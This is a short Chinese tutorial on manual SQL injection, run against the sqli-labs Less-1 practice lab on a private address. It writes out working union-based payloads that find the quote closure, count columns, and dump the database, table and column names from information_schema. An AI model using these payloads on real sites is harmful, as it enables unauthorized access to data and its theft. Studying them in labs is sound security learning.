SQL注入—手注基础1
sqlmap一把梭的确香,但是手注也不能不会,大佬必备,学起来。
mysql5.0以后默认有个information_schema库,里面的表储存了其他的数据库的名字、数据库里面的表名和数据表里面的字段名。
捋一下思路 库-->表-->字段-->字段内容
默认库 information_schema
该库下的表
schemata 储存其他数据库库名
tables 储存其他数据库表名
columns 储存其他数据库字段名
再次捋一下手注思路
求闭合符-->字段数-->显示位-->数据库名-->表名-->字段名-->字段内容
以单引号报错为例(sqli-labs/less-1):
http://192.168.213.135/sql/Less-1/?id=1' 报错
http://192.168.213.135/sql/Less-1/?id=1' --+ 成功闭合
http://192.168.213.135/sql/Less-1/?id=1' order by 3 --+ 正常
http://192.168.213.135/sql/Less-1/?id=1' order by 4--+ 报错,说明字段数为3
http://192.168.213.135/sql/Less-1/?id=0' union select 1,2,3 --+ 这里将id弄成报错,不然不显示,这里可以看出,2,3位置可以显示
http://192.168.213.135/sql/Less-1/?id=0' union select 1,version(),user() --+
http://192.168.213.135/sql/Less-1/?id=0' union select 1,2,group_concat(schema_name) from information_schema.schemata --+ 爆库名
http://192.168.213.135/sql/Less-1/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+ 爆表名
http://192.168.213.135/sql/Less-1/?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' --+ 爆字段名